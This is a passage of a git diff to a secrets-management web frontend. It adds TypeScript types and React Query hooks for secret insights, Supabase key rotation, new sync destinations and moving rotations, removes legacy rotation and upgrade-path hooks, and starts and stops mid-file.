+  environment: string;
+  secretPath: string;
+  nextReminderDate: string;
+};
+
+export type TInsightStaleSecretItem = {
+  key: string;
+  environment: string;
+  secretPath: string;
+  updatedAt: string;
+};
+
+export type TGetInsightsSummaryResponse = {
+  upcomingRotations: TInsightRotationItem[];
+  failedRotations: TInsightRotationItem[];
+  upcomingReminders: TInsightReminderItem[];
+  overdueReminders: TInsightReminderItem[];
+  staleSecrets: TInsightStaleSecretItem[];
+  totalStaleCount: number;
+};
+
+export type TGetSecretAccessVolumeResponse = {
+  days: TSecretAccessVolumeDay[];
+};
+
+export type TAccessLocation = {
+  lat: number;
+  lng: number;
+  city: string;
+  country: string;
+  count: number;
+};
+
+export type TGetSecretAccessLocationsDTO = {
+  projectId: string;
+  days?: number;
+};
+
+export type TGetSecretAccessLocationsResponse = {
+  locations: TAccessLocation[];
+};
+
+export type TAuthMethodCount = {
+  method: string;
+  count: number;
+};
+
+export type TGetAuthMethodDistributionDTO = {
+  projectId: string;
+  days?: number;
+};
+
+export type TGetAuthMethodDistributionResponse = {
+  methods: TAuthMethodCount[];
+};
diff --git a/frontend/src/hooks/api/secretRotation/index.ts b/frontend/src/hooks/api/secretRotation/index.ts
deleted file mode 100644
index 906c8b498c2..00000000000
--- a/frontend/src/hooks/api/secretRotation/index.ts
+++ /dev/null
@@ -1,6 +0,0 @@
-export {
-  useCreateSecretRotation,
-  useDeleteSecretRotation,
-  useRestartSecretRotation
-} from "./mutation";
-export { useGetSecretRotationProviders, useGetSecretRotations } from "./queries";
diff --git a/frontend/src/hooks/api/secretRotation/mutation.tsx b/frontend/src/hooks/api/secretRotation/mutation.tsx
deleted file mode 100644
index 6abb206b795..00000000000
--- a/frontend/src/hooks/api/secretRotation/mutation.tsx
+++ /dev/null
@@ -1,52 +0,0 @@
-import { useMutation, useQueryClient } from "@tanstack/react-query";
-
-import { apiRequest } from "@app/config/request";
-
-import { secretRotationKeys } from "./queries";
-import {
-  TCreateSecretRotationDTO,
-  TDeleteSecretRotationDTO,
-  TRestartSecretRotationDTO
-} from "./types";
-
-export const useCreateSecretRotation = () => {
-  const queryClient = useQueryClient();
-
-  return useMutation<object, object, TCreateSecretRotationDTO>({
-    mutationFn: async (dto) => {
-      const { data } = await apiRequest.post("/api/v1/secret-rotations", dto);
-      return data;
-    },
-    onSuccess: (_, { workspaceId }) => {
-      queryClient.invalidateQueries({ queryKey: secretRotationKeys.list({ workspaceId }) });
-    }
-  });
-};
-
-export const useDeleteSecretRotation = () => {
-  const queryClient = useQueryClient();
-
-  return useMutation<object, object, TDeleteSecretRotationDTO>({
-    mutationFn: async (dto) => {
-      const { data } = await apiRequest.delete(`/api/v1/secret-rotations/${dto.id}`);
-      return data;
-    },
-    onSuccess: (_, { workspaceId }) => {
-      queryClient.invalidateQueries({ queryKey: secretRotationKeys.list({ workspaceId }) });
-    }
-  });
-};
-
-export const useRestartSecretRotation = () => {
-  const queryClient = useQueryClient();
-
-  return useMutation<object, object, TRestartSecretRotationDTO>({
-    mutationFn: async (dto) => {
-      const { data } = await apiRequest.post("/api/v1/secret-rotations/restart", { id: dto.id });
-      return data;
-    },
-    onSuccess: (_, { workspaceId }) => {
-      queryClient.invalidateQueries({ queryKey: secretRotationKeys.list({ workspaceId }) });
-    }
-  });
-};
diff --git a/frontend/src/hooks/api/secretRotation/queries.tsx b/frontend/src/hooks/api/secretRotation/queries.tsx
deleted file mode 100644
index d612189ad72..00000000000
--- a/frontend/src/hooks/api/secretRotation/queries.tsx
+++ /dev/null
@@ -1,78 +0,0 @@
-import { useQuery, UseQueryOptions } from "@tanstack/react-query";
-
-import { apiRequest } from "@app/config/request";
-
-import {
-  TGetSecretRotationListDTO,
-  TGetSecretRotationProviders,
-  TSecretRotation,
-  TSecretRotationProviderList
-} from "./types";
-
-export const secretRotationKeys = {
-  listProviders: ({ workspaceId }: TGetSecretRotationProviders) => [
-    { workspaceId },
-    "secret-rotation-providers"
-  ],
-  list: ({ workspaceId }: Omit<TGetSecretRotationListDTO, "decryptFileKey">) =>
-    [{ workspaceId }, "secret-rotations"] as const
-};
-
-const fetchSecretRotationProviders = async ({ workspaceId }: TGetSecretRotationProviders) => {
-  const { data } = await apiRequest.get<TSecretRotationProviderList>(
-    `/api/v1/secret-rotation-providers/${workspaceId}`
-  );
-  return data;
-};
-
-export const useGetSecretRotationProviders = ({
-  workspaceId,
-  options = {}
-}: TGetSecretRotationProviders & {
-  options?: Omit<
-    UseQueryOptions<
-      TSecretRotationProviderList,
-      unknown,
-      TSecretRotationProviderList,
-      ReturnType<typeof secretRotationKeys.listProviders>
-    >,
-    "queryKey" | "queryFn"
-  >;
-}) =>
-  useQuery({
-    ...options,
-    queryKey: secretRotationKeys.listProviders({ workspaceId }),
-    enabled: Boolean(workspaceId) && (options?.enabled ?? true),
-    queryFn: async () => fetchSecretRotationProviders({ workspaceId })
-  });
-
-const fetchSecretRotations = async ({
-  workspaceId
-}: Omit<TGetSecretRotationListDTO, "decryptFileKey">) => {
-  const { data } = await apiRequest.get<{ secretRotations: TSecretRotation[] }>(
-    "/api/v1/secret-rotations",
-    { params: { workspaceId } }
-  );
-  return data.secretRotations;
-};
-
-export const useGetSecretRotations = ({
-  workspaceId,
-  options = {}
-}: TGetSecretRotationListDTO & {
-  options?: Omit<
-    UseQueryOptions<
-      TSecretRotation[],
-      unknown,
-      TSecretRotation[],
-      ReturnType<typeof secretRotationKeys.list>
-    >,
-    "queryKey" | "queryFn"
-  >;
-}) =>
-  useQuery({
-    ...options,
-    queryKey: secretRotationKeys.list({ workspaceId }),
-    enabled: Boolean(workspaceId) && (options?.enabled ?? true),
-    queryFn: async () => fetchSecretRotations({ workspaceId })
-  });
diff --git a/frontend/src/hooks/api/secretRotation/types.ts b/frontend/src/hooks/api/secretRotation/types.ts
deleted file mode 100644
index c5f939c5c67..00000000000
--- a/frontend/src/hooks/api/secretRotation/types.ts
+++ /dev/null
@@ -1,132 +0,0 @@
-import { ProjectEnv } from "../projects/types";
-
-export enum TProviderFunctionTypes {
-  HTTP = "http",
-  DB = "database"
-}
-
-export enum TDbProviderClients {
-  // postgres, cockroack db, amazon red shift
-  Pg = "pg",
-  // mysql and maria db
-  Sql = "sql"
-}
-
-export enum TAssignOp {
-  Direct = "direct",
-  JmesPath = "jmesopath"
-}
-
-export type TJmesPathAssignOp = {
-  assign: TAssignOp.JmesPath;
-  path: string;
-};
-
-export type TDirectAssignOp = {
-  assign: TAssignOp.Direct;
-  value: string;
-};
-
-export type TAssignFunction = TJmesPathAssignOp | TDirectAssignOp;
-
-export type THttpProviderFunction = {
-  url: string;
-  method: string;
-  header?: Record<string, string>;
-  query?: Record<string, string>;
-  body?: Record<string, unknown>;
-  setter?: Record<string, TAssignFunction>;
-  pre?: Record<string, TDirectAssignOp>;
-};
-
-export type TSecretRotationProviderTemplate = {
-  name: string;
-  title: string;
-  image?: string;
-  description?: string;
-  template: THttpProviderTemplate | TDbProviderTemplate;
-  isDeprecated?: boolean;
-};
-
-export type THttpProviderTemplate = {
-  type: TProviderFunctionTypes.HTTP;
-  inputs: {
-    type: "object";
-    properties: Record<string, { type: string; [x: string]: unknown; desc?: string }>;
-    required: string[];
-  };
-  outputs: Record<string, unknown>;
-  functions: {
-    set: THttpProviderFunction;
-    remove?: THttpProviderFunction;
-    test: THttpProviderFunction;
-  };
-};
-
-export type TDbProviderTemplate = {
-  type: TProviderFunctionTypes.DB;
-  inputs: {
-    type: "object";
-    properties: Record<string, { type: string; [x: string]: unknown; desc?: string }>;
-    required: string[];
-  };
-  outputs: Record<string, unknown>;
-};
-
-export type TSecretRotation = {
-  id: string;
-  interval: number;
-  provider: string;
-  customProvider: string;
-  workspace: string;
-  envId: string;
-  environment: ProjectEnv;
-  secretPath: string;
-  outputs: Array<{
-    key: string;
-    secret: {
-      version: number;
-      id: string;
-      secretKey: string;
-    };
-  }>;
-  status?: "success" | "failed";
-  lastRotatedAt?: string;
-  statusMessage?: string;
-  algorithm: string;
-  keyEncoding: string;
-};
-
-export type TSecretRotationProviderList = {
-  custom: TSecretRotationProviderTemplate[];
-  providers: TSecretRotationProviderTemplate[];
-};
-
-export type TGetSecretRotationProviders = {
-  workspaceId: string;
-};
-
-export type TGetSecretRotationListDTO = {
-  workspaceId: string;
-};
-
-export type TCreateSecretRotationDTO = {
-  workspaceId: string;
-  secretPath: string;
-  environment: string;
-  interval: number;
-  provider: string;
-  customProvider?: string;
-  inputs: Record<string, unknown>;
-  outputs: Record<string, string>;
-};
-
-export type TDeleteSecretRotationDTO = {
-  id: string;
-  workspaceId: string;
-};
-
-export type TRestartSecretRotationDTO = {
-  id: string;
-  workspaceId: string;
-};
diff --git a/frontend/src/hooks/api/secretRotationsV2/enums.ts b/frontend/src/hooks/api/secretRotationsV2/enums.ts
index d7293ea08a9..22cf52d8e0c 100644
--- a/frontend/src/hooks/api/secretRotationsV2/enums.ts
+++ b/frontend/src/hooks/api/secretRotationsV2/enums.ts
@@ -15,7 +15,8 @@ export enum SecretRotation {
   DbtServiceToken = "dbt-service-token",
   WindowsLocalAccount = "windows-local-account",
   OpenRouterApiKey = "open-router-api-key",
-  HpIloLocalAccount = "hp-ilo-local-account"
+  HpIloLocalAccount = "hp-ilo-local-account",
+  SupabaseApiKey = "supabase-api-key"
 }
 
 export enum SecretRotationStatus {
diff --git a/frontend/src/hooks/api/secretRotationsV2/mutations.tsx b/frontend/src/hooks/api/secretRotationsV2/mutations.tsx
index 25ca4f26648..491eb8703fc 100644
--- a/frontend/src/hooks/api/secretRotationsV2/mutations.tsx
+++ b/frontend/src/hooks/api/secretRotationsV2/mutations.tsx
@@ -5,6 +5,7 @@ import { dashboardKeys } from "@app/hooks/api/dashboard/queries";
 import {
   TCreateSecretRotationV2DTO,
   TDeleteSecretRotationV2DTO,
+  TMoveSecretRotationV2DTO,
   TReconcileLocalAccountRotationDTO,
   TReconcileLocalAccountRotationResponse,
   TRotateSecretRotationV2DTO,
@@ -92,6 +93,39 @@ export const useDeleteSecretRotationV2 = () => {
   });
 };
 
+export const useMoveSecretRotation = () => {
+  const queryClient = useQueryClient();
+  return useMutation({
+    mutationFn: async ({
+      type,
+      rotationId,
+      destinationEnvironment,
+      destinationSecretPath,
+      overwriteDestination
+    }: TMoveSecretRotationV2DTO) => {
+      const { data } = await apiRequest.post<TSecretRotationV2Response>(
+        `/api/v2/secret-rotations/${type}/${rotationId}/move`,
+        { destinationEnvironment, destinationSecretPath, overwriteDestination }
+      );
+
+      return data.secretRotation;
+    },
+    onSuccess: (_, { projectId, secretPath, destinationSecretPath }) => {
+      queryClient.invalidateQueries({
+        queryKey: dashboardKeys.getDashboardSecrets({ projectId, secretPath })
+      });
+      if (destinationSecretPath !== secretPath) {
+        queryClient.invalidateQueries({
+          queryKey: dashboardKeys.getDashboardSecrets({
+            projectId,
+            secretPath: destinationSecretPath
+          })
+        });
+      }
+    }
+  });
+};
+
 export const useReconcileLocalAccountRotation = () => {
   const queryClient = useQueryClient();
   return useMutation({
diff --git a/frontend/src/hooks/api/secretRotationsV2/types/index.ts b/frontend/src/hooks/api/secretRotationsV2/types/index.ts
index 30c18638b0e..dc4807a4397 100644
--- a/frontend/src/hooks/api/secretRotationsV2/types/index.ts
+++ b/frontend/src/hooks/api/secretRotationsV2/types/index.ts
@@ -74,6 +74,11 @@ import {
   TRedisCredentialsRotationGeneratedCredentialsResponse,
   TRedisCredentialsRotationOption
 } from "./redis-credentials-rotation";
+import {
+  TSupabaseApiKeyRotation,
+  TSupabaseApiKeyRotationGeneratedCredentialsResponse,
+  TSupabaseApiKeyRotationOption
+} from "./supabase-api-key-rotation";
 import {
   TUnixLinuxLocalAccountRotation,
   TUnixLinuxLocalAccountRotationGeneratedCredentialsResponse,
@@ -103,6 +108,7 @@ export type TSecretRotationV2 = (
   | TWindowsLocalAccountRotation
   | TOpenRouterApiKeyRotation
   | THpIloRotation
+  | TSupabaseApiKeyRotation
 ) & {
   secrets: (SecretV3RawSanitized | null)[];
 };
@@ -121,7 +127,8 @@ export type TSecretRotationV2Option =
   | TDbtServiceTokenRotationOption
   | TWindowsLocalAccountRotationOption
   | TOpenRouterApiKeyRotationOption
-  | THpIloRotationOption;
+  | THpIloRotationOption
+  | TSupabaseApiKeyRotationOption;
 
 export type TListSecretRotationV2Options = { secretRotationOptions: TSecretRotationV2Option[] };
 
@@ -144,7 +151,8 @@ export type TViewSecretRotationGeneratedCredentialsResponse =
   | TDbtServiceTokenRotationGeneratedCredentialsResponse
   | TWindowsLocalAccountRotationGeneratedCredentialsResponse
   | TOpenRouterApiKeyRotationGeneratedCredentialsResponse
-  | THpIloRotationGeneratedCredentialsResponse;
+  | THpIloRotationGeneratedCredentialsResponse
+  | TSupabaseApiKeyRotationGeneratedCredentialsResponse;
 
 export type TCreateSecretRotationV2DTO = DiscriminativePick<
   TSecretRotationV2,
@@ -182,6 +190,17 @@ export type TDeleteSecretRotationV2DTO = TRotateSecretRotationV2DTO & {
   deleteSecrets: boolean;
 };
 
+export type TMoveSecretRotationV2DTO = {
+  type: SecretRotation;
+  rotationId: string;
+  destinationEnvironment: string;
+  destinationSecretPath: string;
+  overwriteDestination: boolean;
+  // required for query invalidation
+  projectId: string;
+  secretPath: string;
+};
+
 export type TViewSecretRotationV2GeneratedCredentialsDTO = {
   rotationId: string;
   type: SecretRotation;
@@ -205,6 +224,7 @@ export type TSecretRotationOptionMap = {
   [SecretRotation.WindowsLocalAccount]: TWindowsLocalAccountRotationOption;
   [SecretRotation.OpenRouterApiKey]: TOpenRouterApiKeyRotationOption;
   [SecretRotation.HpIloLocalAccount]: THpIloRotationOption;
+  [SecretRotation.SupabaseApiKey]: TSupabaseApiKeyRotationOption;
 };
 
 export type TSecretRotationGeneratedCredentialsResponseMap = {
@@ -225,6 +245,7 @@ export type TSecretRotationGeneratedCredentialsResponseMap = {
   [SecretRotation.WindowsLocalAccount]: TWindowsLocalAccountRotationGeneratedCredentialsResponse;
   [SecretRotation.OpenRouterApiKey]: TOpenRouterApiKeyRotationGeneratedCredentialsResponse;
   [SecretRotation.HpIloLocalAccount]: THpIloRotationGeneratedCredentialsResponse;
+  [SecretRotation.SupabaseApiKey]: TSupabaseApiKeyRotationGeneratedCredentialsResponse;
 };
 
 // Unified type for local account reconciliation (Unix/Linux, Windows, and HP iLO)
diff --git a/frontend/src/hooks/api/secretRotationsV2/types/supabase-api-key-rotation.ts b/frontend/src/hooks/api/secretRotationsV2/types/supabase-api-key-rotation.ts
new file mode 100644
index 00000000000..2a34cb46c14
--- /dev/null
+++ b/frontend/src/hooks/api/secretRotationsV2/types/supabase-api-key-rotation.ts
@@ -0,0 +1,42 @@
+import { AppConnection } from "@app/hooks/api/appConnections/enums";
+import { SecretRotation } from "@app/hooks/api/secretRotationsV2";
+import {
+  TSecretRotationV2Base,
+  TSecretRotationV2GeneratedCredentialsResponseBase
+} from "@app/hooks/api/secretRotationsV2/types/shared";
+
+export enum SupabaseApiKeyType {
+  Publishable = "publishable",
+  Secret = "secret"
+}
+
+export type TSupabaseApiKeyRotation = TSecretRotationV2Base & {
+  type: SecretRotation.SupabaseApiKey;
+  parameters: {
+    projectRef: string;
+    keyType: SupabaseApiKeyType;
+  };
+  secretsMapping: {
+    apiKey: string;
+  };
+};
+
+export type TSupabaseApiKeyRotationGeneratedCredentials = {
+  apiKey: string;
+  keyId: string;
+};
+
+export type TSupabaseApiKeyRotationGeneratedCredentialsResponse =
+  TSecretRotationV2GeneratedCredentialsResponseBase<
+    SecretRotation.SupabaseApiKey,
+    TSupabaseApiKeyRotationGeneratedCredentials
+  >;
+
+export type TSupabaseApiKeyRotationOption = {
+  name: string;
+  type: SecretRotation.SupabaseApiKey;
+  connection: AppConnection.Supabase;
+  template: {
+    secretsMapping: TSupabaseApiKeyRotation["secretsMapping"];
+  };
+};
diff --git a/frontend/src/hooks/api/secretSyncs/enums.ts b/frontend/src/hooks/api/secretSyncs/enums.ts
index 2200b02e26a..9aa09cbd8a3 100644
--- a/frontend/src/hooks/api/secretSyncs/enums.ts
+++ b/frontend/src/hooks/api/secretSyncs/enums.ts
@@ -35,7 +35,9 @@ export enum SecretSync {
   OctopusDeploy = "octopus-deploy",
   CircleCI = "circleci",
   AzureEntraIdScim = "azure-entra-id-scim",
-  ExternalInfisical = "external-infisical"
+  ExternalInfisical = "external-infisical",
+  Ona = "ona",
+  TravisCI = "travis-ci"
 }
 
 export enum SecretSyncStatus {
diff --git a/frontend/src/hooks/api/secretSyncs/types/index.ts b/frontend/src/hooks/api/secretSyncs/types/index.ts
index 21dc0d1c8c9..cfd3f7420d6 100644
--- a/frontend/src/hooks/api/secretSyncs/types/index.ts
+++ b/frontend/src/hooks/api/secretSyncs/types/index.ts
@@ -30,11 +30,13 @@ import { TNetlifySync } from "./netlify-sync";
 import { TNorthflankSync } from "./northflank-sync";
 import { TOCIVaultSync } from "./oci-vault-sync";
 import { TOctopusDeploySync } from "./octopus-deploy-sync";
+import { TOnaSync } from "./ona-sync";
 import { TRailwaySync } from "./railway-sync";
 import { TRenderSync } from "./render-sync";
 import { TSupabaseSync } from "./supabase";
 import { TTeamCitySync } from "./teamcity-sync";
 import { TTerraformCloudSync } from "./terraform-cloud-sync";
+import { TTravisCISync } from "./travis-ci-sync";
 import { TVercelSync } from "./vercel-sync";
 import { TWindmillSync } from "./windmill-sync";
 import { TZabbixSync } from "./zabbix-sync";
@@ -86,7 +88,9 @@ export type TSecretSync =
   | TOctopusDeploySync
   | TCircleCISync
   | TAzureEntraIdScimSync
-  | TExternalInfisicalSync;
+  | TExternalInfisicalSync
+  | TOnaSync
+  | TTravisCISync;
 
 export type TListSecretSyncs = { secretSyncs: TSecretSync[] };
 
diff --git a/frontend/src/hooks/api/secretSyncs/types/ona-sync.ts b/frontend/src/hooks/api/secretSyncs/types/ona-sync.ts
new file mode 100644
index 00000000000..5595feaaad4
--- /dev/null
+++ b/frontend/src/hooks/api/secretSyncs/types/ona-sync.ts
@@ -0,0 +1,13 @@
+import { AppConnection } from "@app/hooks/api/appConnections/enums";
+import { SecretSync } from "@app/hooks/api/secretSyncs";
+import { TRootSecretSync } from "@app/hooks/api/secretSyncs/types/root-sync";
+
+export type TOnaSync = TRootSecretSync & {
+  destination: SecretSync.Ona;
+  destinationConfig: { projectId: string; projectName?: string };
+  connection: {
+    app: AppConnection.Ona;
+    name: string;
+    id: string;
+  };
+};
diff --git a/frontend/src/hooks/api/secretSyncs/types/travis-ci-sync.ts b/frontend/src/hooks/api/secretSyncs/types/travis-ci-sync.ts
new file mode 100644
index 00000000000..58c5f595649
--- /dev/null
+++ b/frontend/src/hooks/api/secretSyncs/types/travis-ci-sync.ts
@@ -0,0 +1,17 @@
+import { AppConnection } from "@app/hooks/api/appConnections/enums";
+import { SecretSync } from "@app/hooks/api/secretSyncs";
+import { TRootSecretSync } from "@app/hooks/api/secretSyncs/types/root-sync";
+
+export type TTravisCISync = TRootSecretSync & {
+  destination: SecretSync.TravisCI;
+  destinationConfig: {
+    repositoryId: string;
+    repositorySlug: string;
+    branch?: string;
+  };
+  connection: {
+    app: AppConnection.TravisCI;
+    name: string;
+    id: string;
+  };
+};
diff --git a/frontend/src/hooks/api/secretSyncs/types/vercel-sync.ts b/frontend/src/hooks/api/secretSyncs/types/vercel-sync.ts
index e35fafaaac2..d47b181afd9 100644
--- a/frontend/src/hooks/api/secretSyncs/types/vercel-sync.ts
+++ b/frontend/src/hooks/api/secretSyncs/types/vercel-sync.ts
@@ -25,13 +25,16 @@ export type TVercelSync = TRootSecretSync & {
         branch?: string;
         appName?: string;
         teamId: string;
+        sensitive: boolean;
       }
     | {
         scope: VercelSyncScope.Team;
         teamId: string;
         teamName?: string;
         targetEnvironments: string[];
+        applyToAllCustomEnvironments: boolean;
         targetProjects?: string[];
+        sensitive: boolean;
       };
   connection: {
     app: AppConnection.Vercel;
diff --git a/frontend/src/hooks/api/secretValidationRules/types.ts b/frontend/src/hooks/api/secretValidationRules/types.ts
index abd4bbbd52c..ebcc0bbca9b 100644
--- a/frontend/src/hooks/api/secretValidationRules/types.ts
+++ b/frontend/src/hooks/api/secretValidationRules/types.ts
@@ -7,7 +7,8 @@ export enum ConstraintType {
   MaxLength = "max-length",
   RegexPattern = "regex-pattern",
   RequiredPrefix = "required-prefix",
-  RequiredSuffix = "required-suffix"
+  RequiredSuffix = "required-suffix",
+  PreventValueReuse = "prevent-value-reuse"
 }
 
 export enum ConstraintTarget {
diff --git a/frontend/src/hooks/api/secrets/mutations.tsx b/frontend/src/hooks/api/secrets/mutations.tsx
index d4c0e88a4ae..c54ba599b3a 100644
--- a/frontend/src/hooks/api/secrets/mutations.tsx
+++ b/frontend/src/hooks/api/secrets/mutations.tsx
@@ -80,6 +80,9 @@ export const useCreateSecretV3 = ({
         queryKey: commitKeys.history({ projectId, environment, directory: secretPath })
       });
       queryClient.invalidateQueries({ queryKey: secretApprovalRequestKeys.count({ projectId }) });
+      queryClient.invalidateQueries({
+        queryKey: secretApprovalRequestKeys.listAllForProject({ projectId })
+      });
     },
     ...options
   });
@@ -138,6 +141,11 @@ export const useUpdateSecretV3 = ({
       queryClient.invalidateQueries({
         queryKey: secretKeys.getProjectSecret({ projectId, environment, secretPath })
       });
+      queryClient.invalidateQueries({
+        predicate: (query) =>
+          query.queryKey[0] === "secret-reference-tree" &&
+          (query.queryKey[1] as { projectId?: string })?.projectId === projectId
+      });
       queryClient.invalidateQueries({
         queryKey: secretSnapshotKeys.list({ environment, projectId, directory: secretPath })
       });
@@ -151,6 +159,9 @@ export const useUpdateSecretV3 = ({
         queryKey: commitKeys.history({ projectId, environment, directory: secretPath })
       });
       queryClient.invalidateQueries({ queryKey: secretApprovalRequestKeys.count({ projectId }) });
+      queryClient.invalidateQueries({
+        queryKey: secretApprovalRequestKeys.listAllForProject({ projectId })
+      });
     },
     ...options
   });
@@ -202,6 +213,9 @@ export const useDeleteSecretV3 = ({
         queryKey: commitKeys.history({ projectId, environment, directory: secretPath })
       });
       queryClient.invalidateQueries({ queryKey: secretApprovalRequestKeys.count({ projectId }) });
+      queryClient.invalidateQueries({
+        queryKey: secretApprovalRequestKeys.listAllForProject({ projectId })
+      });
     },
     ...options
   });
@@ -250,6 +264,9 @@ export const useCreateSecretBatch = ({
         queryKey: commitKeys.history({ projectId, environment, directory: secretPath })
       });
       queryClient.invalidateQueries({ queryKey: secretApprovalRequestKeys.count({ projectId }) });
+      queryClient.invalidateQueries({
+        queryKey: secretApprovalRequestKeys.listAllForProject({ projectId })
+      });
     },
     ...options
   });
@@ -285,6 +302,11 @@ export const useUpdateSecretBatch = ({
       queryClient.invalidateQueries({
         queryKey: secretKeys.getProjectSecret({ projectId, environment, secretPath })
       });
+      queryClient.invalidateQueries({
+        predicate: (query) =>
+          query.queryKey[0] === "secret-reference-tree" &&
+          (query.queryKey[1] as { projectId?: string })?.projectId === projectId
+      });
       queryClient.invalidateQueries({
         queryKey: secretSnapshotKeys.list({ environment, projectId, directory: secretPath })
       });
@@ -298,6 +320,9 @@ export const useUpdateSecretBatch = ({
         queryKey: commitKeys.history({ projectId, environment, directory: secretPath })
       });
       queryClient.invalidateQueries({ queryKey: secretApprovalRequestKeys.count({ projectId }) });
+      queryClient.invalidateQueries({
+        queryKey: secretApprovalRequestKeys.listAllForProject({ projectId })
+      });
     },
     ...options
   });
@@ -348,6 +373,9 @@ export const useDeleteSecretBatch = ({
         queryKey: commitKeys.history({ projectId, environment, directory: secretPath })
       });
       queryClient.invalidateQueries({ queryKey: secretApprovalRequestKeys.count({ projectId }) });
+      queryClient.invalidateQueries({
+        queryKey: secretApprovalRequestKeys.listAllForProject({ projectId })
+      });
     },
     ...options
   });
@@ -394,13 +422,21 @@ export const useMoveSecrets = ({
 
       return data;
     },
-    onSuccess: (_, { projectId, sourceEnvironment, sourceSecretPath }) => {
+    onSuccess: (_, { projectId, sourceEnvironment, sourceSecretPath, destinationSecretPath }) => {
       queryClient.invalidateQueries({
         queryKey: dashboardKeys.getDashboardSecrets({
           projectId,
           secretPath: sourceSecretPath
         })
       });
+      if (destinationSecretPath !== sourceSecretPath) {
+        queryClient.invalidateQueries({
+          queryKey: dashboardKeys.getDashboardSecrets({
+            projectId,
+            secretPath: destinationSecretPath
+          })
+        });
+      }
       queryClient.invalidateQueries({
         queryKey: secretKeys.getProjectSecret({
           projectId,
@@ -439,6 +475,9 @@ export const useMoveSecrets = ({
       queryClient.invalidateQueries({
         queryKey: secretApprovalRequestKeys.count({ projectId })
       });
+      queryClient.invalidateQueries({
+        queryKey: secretApprovalRequestKeys.listAllForProject({ projectId })
+      });
     },
     ...options
   });
@@ -547,6 +586,11 @@ export const useCreateCommit = () => {
       queryClient.invalidateQueries({
         queryKey: secretKeys.getProjectSecret({ projectId, environment, secretPath })
       });
+      queryClient.invalidateQueries({
+        predicate: (query) =>
+          query.queryKey[0] === "secret-reference-tree" &&
+          (query.queryKey[1] as { projectId?: string })?.projectId === projectId
+      });
       queryClient.invalidateQueries({
         queryKey: secretSnapshotKeys.list({ environment, projectId, directory: secretPath })
       });
@@ -560,6 +604,9 @@ export const useCreateCommit = () => {
         queryKey: commitKeys.history({ projectId, environment, directory: secretPath })
       });
       queryClient.invalidateQueries({ queryKey: secretApprovalRequestKeys.count({ projectId }) });
+      queryClient.invalidateQueries({
+        queryKey: secretApprovalRequestKeys.listAllForProject({ projectId })
+      });
     }
   });
 };
diff --git a/frontend/src/hooks/api/secrets/types.ts b/frontend/src/hooks/api/secrets/types.ts
index 381999f615a..8a37c4c7e3c 100644
--- a/frontend/src/hooks/api/secrets/types.ts
+++ b/frontend/src/hooks/api/secrets/types.ts
@@ -217,6 +217,7 @@ export type TCreateSecretBatchDTO = {
     skipMultilineEncoding?: boolean | null;
     type: SecretType;
     tagIds?: string[];
+    secretMetadata?: { key: string; value: string; isEncrypted?: boolean }[];
     metadata?: {
       source?: string;
     };
@@ -230,10 +231,11 @@ export type TUpdateSecretBatchDTO = {
   secrets: Array<{
     type: SecretType;
     secretKey: string;
-    secretValue: string;
+    secretValue?: string;
     secretComment?: string;
     skipMultilineEncoding?: boolean | null;
     tagIds?: string[];
+    secretMetadata?: { key: string; value: string; isEncrypted?: boolean }[];
     metadata?: {
       source?: string;
     };
diff --git a/frontend/src/hooks/api/subscriptions/types.ts b/frontend/src/hooks/api/subscriptions/types.ts
index a67a6e604e3..7009bfe9ad4 100644
--- a/frontend/src/hooks/api/subscriptions/types.ts
+++ b/frontend/src/hooks/api/subscriptions/types.ts
@@ -57,6 +57,7 @@ export type SubscriptionPlan = {
   caCrl: boolean;
   instanceUserManagement: boolean;
   gateway: boolean;
+  gatewayPool: boolean;
   externalKms: boolean;
   pkiEst: boolean;
   pkiAcme: boolean;
diff --git a/frontend/src/hooks/api/types.ts b/frontend/src/hooks/api/types.ts
index 4b73eba28b2..6389421590c 100644
--- a/frontend/src/hooks/api/types.ts
+++ b/frontend/src/hooks/api/types.ts
@@ -29,11 +29,6 @@ export type {
 export { ApprovalStatus, CommitType } from "./secretApprovalRequest/types";
 export type { TSecretFolder } from "./secretFolders/types";
 export type { TImportedSecrets, TSecretImport } from "./secretImports/types";
-export type {
-  TGetSecretRotationProviders,
-  TSecretRotationProviderList,
-  TSecretRotationProviderTemplate
-} from "./secretRotation/types";
 export * from "./secrets/types";
 export type { CreateServiceTokenDTO, ServiceToken } from "./serviceTokens/types";
 export type { SubscriptionPlan } from "./subscriptions/types";
diff --git a/frontend/src/hooks/api/upgradePath/index.ts b/frontend/src/hooks/api/upgradePath/index.ts
deleted file mode 100644
index d0eaefdb56e..00000000000
--- a/frontend/src/hooks/api/upgradePath/index.ts
+++ /dev/null
@@ -1,2 +0,0 @@
-export type { CalculateUpgradePathParams, GitHubVersion, UpgradePathResult } from "./queries";
-export { useCalculateUpgradePath, useGetUpgradePathVersions } from "./queries";
diff --git a/frontend/src/hooks/api/upgradePath/queries.tsx b/frontend/src/hooks/api/upgradePath/queries.tsx
deleted file mode 100644
index d7e8d705e9c..00000000000
--- a/frontend/src/hooks/api/upgradePath/queries.tsx
+++ /dev/null
@@ -1,75 +0,0 @@
-import { useMutation, useQuery, UseQueryOptions } from "@tanstack/react-query";
-
-import { apiRequest } from "@app/config/request";
-
-export interface GitHubVersion {
-  tagName: string;
-  name: string;
-  publishedAt: string;
-  prerelease: boolean;
-  draft: boolean;
-}
-
-export interface UpgradePathResult {
-  path: Array<{
-    version: string;
-    name: string;
-    publishedAt: string;
-    prerelease: boolean;
-  }>;
-  breakingChanges: Array<{
-    version: string;
-    changes: Array<{
-      title: string;
-      description: string;
-      action: string;
-    }>;
-  }>;
-  features: Array<{
-    version: string;
-    name: string;
-    body: string;
-    publishedAt: string;
-  }>;
-  hasDbMigration: boolean;
-  config: Record<string, unknown>;
-}
-
-export interface CalculateUpgradePathParams {
-  fromVersion: string;
-  toVersion: string;
-}
-
-const upgradePathKeys = {
-  all: ["upgrade-path"] as const,
-  versions: () => [...upgradePathKeys.all, "versions"] as const,
-  calculate: (params: CalculateUpgradePathParams) =>
-    [...upgradePathKeys.all, "calculate", params] as const
-};
-
-export const useGetUpgradePathVersions = (
-  options?: Omit<UseQueryOptions<{ versions: GitHubVersion[] }>, "queryKey" | "queryFn">
-) => {
-  return useQuery({
-    queryKey: upgradePathKeys.versions(),
-    queryFn: async () => {
-      const { data } = await apiRequest.get<{ versions: GitHubVersion[] }>(
-        "/api/v1/upgrade-path/versions"
-      );
-      return data;
-    },
-    ...options
-  });
-};
-
-export const useCalculateUpgradePath = () => {
-  return useMutation({
-    mutationFn: async (params: CalculateUpgradePathParams): Promise<UpgradePathResult> => {
-      const { data } = await apiRequest.post<UpgradePathResult>(
